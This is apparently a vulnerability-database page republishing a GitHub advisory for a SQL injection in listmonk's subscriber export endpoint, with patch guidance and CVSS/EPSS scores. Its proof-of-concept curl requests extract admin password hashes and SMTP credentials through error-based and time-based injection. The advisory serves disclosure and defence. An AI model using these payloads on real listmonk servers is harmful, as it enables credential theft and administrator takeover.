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Response snapshot Nov 6, 2026, 19:41 UTC

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VulnerabilityCVE-2026-62361

listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials

A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys).

Published Updated

At a glance

Exploited
Not known
Severity
5.5 Medium (CVSS 3.1)
Chance of exploitation
0.3% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: github.com/knadh/listmonk: 1.1.1-0.20260619102436-c0a6525009a6. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-xgjr-7j9q-2h4r (opens a new tab)

What happened

Summary

A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys).

Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.

---

Continue reading

Details

The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.

internal/core/subscribers.go — protected path (regular query):

// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
 return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
 fmt.Sprintf("Error preparing subscriber query: %v", err))
}

internal/core/subscribers.go — vulnerable path (export):

// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction

queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:

SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...

Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.

---

PoC

Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.

Step 1 — Confirm the bypass (blocked on query, open on export):

# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
 -H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}

# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
 -H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error

Step 2 — Error-based exfiltration of admin password hash:

curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
 -H "Cookie: session=SESSION_TOKEN"

Response:

{
 "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}

Step 3 — Error-based exfiltration of SMTP credentials:

curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
 -H "Cookie: session=SESSION_TOKEN"

Response:

{
 "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}

Step 4 — Time-based blind confirmation:

time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
 -H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution

---

Impact

This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:

- Read bcrypt password hashes of all admin accounts (including Super Admin) - Extract SMTP credentials, API keys, and all values stored in the settings table - Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover - Execute data-modifying SQL via PostgreSQL CTEs (write impact)

Attack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.

This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.

Affected package ranges reported by GitHub: github.com/knadh/listmonk: < 1.1.1-0.20260619102436-c0a6525009a6

Scores and how they were measured

CVSS base severity

5.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.3%

Scored Percentile 22.5%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Follow Go modules: RSS feedAll its recordsAsk your AI assistant

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-xgjr-7j9q-2h4r (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-xgjr-7j9q-2h4r, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-62361, scored 2026-11-06. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 6). listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials (CVE-2026-62361). https://kevwire.com/record/CVE-2026-62361

MLA

"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials (CVE-2026-62361)." KEVWire, 6 Nov. 2026, kevwire.com/record/CVE-2026-62361.

Chicago

KEVWire. "listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials (CVE-2026-62361)." Last modified November 6, 2026. https://kevwire.com/record/CVE-2026-62361.

Evidence summary (plain text)

listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials (Nov 6, 2026).
A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
CVSS 5.5 (version 3.1; evidence as of Nov 6, 2026; https://github.com/advisories/GHSA-xgjr-7j9q-2h4r).
EPSS 0.3% for the following 30 days, scored Nov 6, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-62361&date=2026-11-06).
Sources:
GitHub-reviewed advisory GHSA-xgjr-7j9q-2h4r: https://github.com/advisories/GHSA-xgjr-7j9q-2h4r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-62361&date=2026-11-06
Record ID: CVE-2026-62361.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 6, 2026, 19:36 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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